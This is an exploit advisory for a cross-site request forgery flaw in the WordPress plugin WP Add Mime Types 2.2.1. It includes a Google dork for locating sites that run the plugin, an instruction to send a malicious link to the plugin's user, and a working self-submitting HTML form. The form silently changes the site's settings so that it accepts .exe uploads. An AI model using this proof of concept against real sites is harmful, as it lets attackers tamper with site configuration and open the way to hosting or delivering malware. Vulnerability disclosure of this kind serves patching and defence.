WordPress Add Mime Types Plugin 2.2.1 Cross-Site Request Forgery

Credit: Princy Edward
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

# Exploit Title: CSRF vulnerabilities in WP Add Mime Types Plugin <= 2.2.1 # Google Dork: inurl:”/wp-content/plugins/wp-add-mime-types” # Date: 18 july, 2019 # Exploit Author: Princy Edward # Exploit Author Blog : https://prinyedward.blogspot.com/ # Vendor Homepage: https://wordpress.org/plugins/wp-add-mime-types/ # Software Link: https://downloads.wordpress.org/plugin/wp-add-mime-types.2.2.1.zip # Version: 2.2.1 # Tested on: Apache/2.2.24 (CentOS) # CVE : Fresh #About Plugin The plugin additionally allows the mime types and file extensions to WordPress. In other words, your WordPress site can upload various file extensions. #Vulnerable Description WordPress plugin WP Add Mime Types plugin 2.2.1 vulnerable to CWE-352. ## CSRF Code Share this malicious link to the plugin user. Once he clicks the link, the mime type will automatically get updated. Here I shared a POC to allow exe files(application/x-msdownload) to be uploaded. <html> <body onload="document.forms[0].submit()"> <form method="POST" action="http://IP/wp-admin/options-general.php?page=wp-add-mime-types%2Fincludes%2Fadmin.php"> <input type="hidden" name="mime_type_values" value="exe = application/x-msdownload"> <input type="submit"> </form> </body> </html>

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